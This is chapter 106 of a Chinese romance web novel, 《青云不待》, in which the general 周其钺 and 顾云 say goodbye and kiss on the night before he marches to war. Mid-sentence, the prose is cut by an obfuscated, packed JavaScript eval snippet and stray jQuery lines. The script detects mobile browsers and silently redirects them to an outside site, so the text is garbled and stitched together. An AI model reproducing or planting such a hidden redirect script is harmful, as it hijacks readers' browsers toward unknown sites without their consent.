106. 分别
作品:《青云不待》 战事突然,周其钺出征之事也定得匆忙。许多事情需要准备,以至于当日散朝时,他都来不及和顾云多说两句话。
顾云深知战事非同小可,自是不会去打搅他。
想起自己前些日子研制出来的新款弓箭,她破天荒地日日往工坊里跑,紧跟制作进度。
毕竟,如果不出意外,可能这批弓箭的一部分会随着周其钺一起上战场。
如此一来,三日期限将近,二人竟都没找到空闲好好说说话、告个别。
大军拔营的前一夜,顾云晚膳过后早早就睡了下去。
她这两日忙完后都会去周其钺的将军府问上一句,想着若是不能见到他,了解一下他的行踪也成。
可他似乎一直都在军营,军营在城郊,她没去过,也不便前去打扰。
往日里,他天天在她面前晃悠,这次一连三日与他连面都没见到,顾云突然有些不习惯。
她没有直面过战争,可却窥见过它的侧影。
那次平城郊外,定州军与荆州军的一场大战,她差点被疯马从密林中拉入战场。
兵刃相接的铮鸣、血肉翻搅的黏腻以及士兵们孤注一掷的高喊,无不给她留下了深刻印象。更别说周其钺还带着她从战后的废墟中打马穿行过。
那些狰狞的脸、断肢残骸、血色弥漫的旷野,顾云至今回想起仍历历在目。
她辗转反侧,心里有些忧。
说来也是怪,明明从前在平城他也总率兵出战,怎么这次她格外担心。
一定是因为前段时间他受了太多伤的缘故。
嗯,一定是这样。
许久,顾云依旧无法入睡,干脆睁开了眼,任由思绪有一波没一波地往外发散。
哎,见不着他也好,临别之时,说来说去都是那些没意思的话。而且,她还不知道该以何种态度面对他呢。
嘘寒问暖吧,他定会得意至极,而他那副尾巴翘老高的样子着实有些讨厌;冷言冷语吧,她其实真的有些担心他,火场里留下的重伤才痊愈没多久,也不知能不能躲过战场上的明枪暗箭。
秋风渐起,吹得枯叶簌簌飘落,窗外传来些沙沙声响。
几丝倔强的秋风顺着窗牖的缝隙钻进了内室,搅弄得床畔的轻纱帘帐也跟着起舞。
顾云再无法忍受在床榻上翻来覆去,干脆起身到庭中去看月亮。
罗衾不耐秋风力,离开被褥后,她瞬间起了一身鸡皮疙瘩,披上外袍才觉得好些。
吱呀——
顾云推门而出,却见庭中肃立着一人,听见声音后立马回身看她。
是周其钺。
他本就猿臂蜂腰,披袍带甲后身形更显壮硕,远远看去像一座屹立不倒的山。
竟是来不及卸甲就来她院里了。
周其钺没料到她会推门而出,怔愣了片刻才向她走来。
“怎的还没休息?”
夜凉如水,她松松披着件外袍,头发柔顺地披在肩头,在幽暗的廊灯下,衬得小脸愈发白净莹润,说不出地温婉柔和。
他忙完一切已经深夜,见她屋子灯光已灭,料想她已经睡下,于是想着在中庭站一会儿,也算是最后与她共度一段时间了。
不能与她当面道别,他也有些遗憾,但就这么在离她不远的地方安静待上片刻,于他而言也是极好的。
可没想到,她竟推门而出,如云间落下的仙子一般突然出现在他眼前。
顾云也朝他走去,停步时,她立于阶上恰好与他平视。
“我有些睡不着,想出来看看月亮。”
他抬头一望,随即轻笑一声,“可惜今晚没有月亮。”
廊灯被秋风吹得飘摇不定,他的眼里尽是明灭的灯火。
顾云心想,没有月亮,但是有星星。
“你怎么会出现在这里?”
“明日就要远行,本想来和你说说话,没想到来得太晚了。”
“明日就要远行,路途奔波,何不早些回去歇息?”
他的笑意更盛,“不见你一面,终归有些舍不得走。”
顾云轻轻嗯了一声,偏开与他对视的眼,视线落到他的肩头上,只见森森白甲泛着寒冷银光。
似是有些累了,周其钺放下肘弯抱着的头盔,侧身靠向廊柱,有一搭没一搭地开口。
“那日在大殿之上请战,可是惊到你了?隔老远都感觉到你在看我。”
顾云看一眼身侧的人,“是有些惊讶。我以为,你先前率军南下,助皇上四海归一,早已挣够了军功与荣誉,余生就算混吃等死,也有个关内侯的爵位顶在头上,滋润得很。”
周其钺瞥她一眼,又笑了。
“别以为我听不出你在讽刺我这些日子老缠着你,不务正业。”
顾云不说话了,她确实这么怀疑过。
但后来与他接触加深,她也才知道他每日晨起皆会炼体,隔三差五地也去军营检验练兵情况,甚至书房里除了字画碑帖,也大多都是兵书。
周其钺也不多说,只一句,“并州是我的家乡,我不可能弃之不顾。”
他的语气有些沉,惹得顾云偏头看他,又听他继续说道:“就算那里已经没有我的家了,我也得去守住它。”
她忽然有些动容,他始终还是深深眷恋着那个生他养他的地方,就像她偶尔还会在梦里回到章淮村一样。
似是知她所想,他又开口。
“说起来,当初我攻回章淮村后,说要让它恢复生机,然后带你回去看看,没想到两年半过去了,至今没有兑现当初的诺言。”
又一阵风起,顾云紧了紧身上的衣袍。
“等你大胜归来,就带我去看看吧。”
她伸手去握他的手,竟是比她的还凉些,也不知道在风里吹了多久。
周其钺难得见她主动,很快回握住她的手,用了些力。
“可别等我回来,你身边又有了乱七八糟的男人!”
说着,他的语气变得恶狠狠,连带着人也凑近了些,紧紧将她困在眼里。
顾云却是笑,“那可说不准,你可得快些回来才是。”
她这幅无甚所谓的样子看得周其钺一股气直冲大脑,一个蹲身就将她扛上肩头走向屋内。
“呀——”顾云一阵惊呼。
他仍是恶狠狠地,“哼,未免夜长梦多,我觉得还是与你早成好事比较稳妥。”
顾云非常上道地软了语气,“我错了。”
周其钺可谓是雷声大雨点小,进了屋便将她轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004490|177343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻放到榻上,听见她软软的声音,唇畔勾起一抹浅笑。
她不是那种三心二意的人,他能感觉到。
自从她开始接纳他,便明显与别的男人划清了界限。书房内岳星赜送她的画被收起来了,那日临别,岳星赜送的东西、讨要的拥抱,她也一概拒绝。
甚至在他不安时,还会与他说笑逗趣,化解他内心的惶恐。
他静静地蹲在她面前,目光柔和。
一时无话,二人无声对视,用目光描摹着对方的轮廓。
空气里似乎有什么东西在悄悄滋长,越过寒凉秋风,直抵有情人心底。
忽地,顾云倾身揽住周其钺脖颈,将他拥在怀里。
“我发现,我好像有些舍不得你...”
周其钺听见耳畔传来的话,顿时睁大了眼睛。
他没想过,她会如此直白地说出来。
盔甲坚硬,许是隔着它相拥不太舒服,顾云很快起身。但她下一瞬的动作直接让周其钺心神巨震——
一个吻,飞快地印在了他的唇上。
素来习惯了霸道蛮横攻城略地的人,此刻直直僵在原地,连呼吸都忘记了,直到唇上柔软的触感又飞快地离开,他才终于像灵魂归窍般有了反应。
看着他呆呆的样子,顾云也涌上些后知后觉的羞涩。
她不是个爱逃避的扭捏之人,行事一向是顺着自己的心意。从前对他的恨也好,如今对他慢慢萌芽的爱也好,所催生出来的行为都是她自己愿意的。
但如今这般终究还是有些难为情,于是她推推他胸前厚重的盔甲。
“很晚了,早些去休息吧,明日还要赶路呢。”
周其钺抓住她的手,重重握进自己的掌心,唇角绽放出一个巨大的笑容。
“云娘...”
顾云忍不住侧眸觑他,“嗯?”
周其钺觉得她这幅样子可爱得不行,既显纯真大胆,又像缩头乌龟。也对,她若真是个畏手畏脚的人,也不会在当初处于弱势时就敢翻身做上面那个。
他的心里饱胀至极,又像是在冒泡泡。只不过,这次的泡泡在破开时带给他的不再是痛楚,而是无尽的痒意。
他顿时情难自抑,将她往前重重一拉,狠狠吻上那双胆敢逗弄他的唇瓣。
顾云没有别的动作,城门大开任他攫取,一手与他交握,另一只手轻轻摩挲他的发丝。
半晌,周其钺松开她,与她额头抵着额头享受亲吻的余韵。
室外的秋风仍在呼啸,静谧的室内,情人颊畔也刮起了缠绵的风。
他轻轻开口,“等我回来。”
“嗯。”
他起身,像一座拔地而起的山,深深看了一眼顾云后,身影渐渐隐匿在黑暗中,直到再也看不见。
顾云感觉脸颊热热的,方才在院中被秋风带走的温度此刻尽数回归她的体内。
她起身,走到屋门口,怔怔地看着空荡荡的院子,好一会儿才将门关上。
重新躺回帐中,她的心有些满,又有些空。
与他见了一面之后,她原本飘忽不定的心稳稳落回了地面。但是,之后好长一段时间,她都见不到他了。
等他回来...
他一定要平安回来。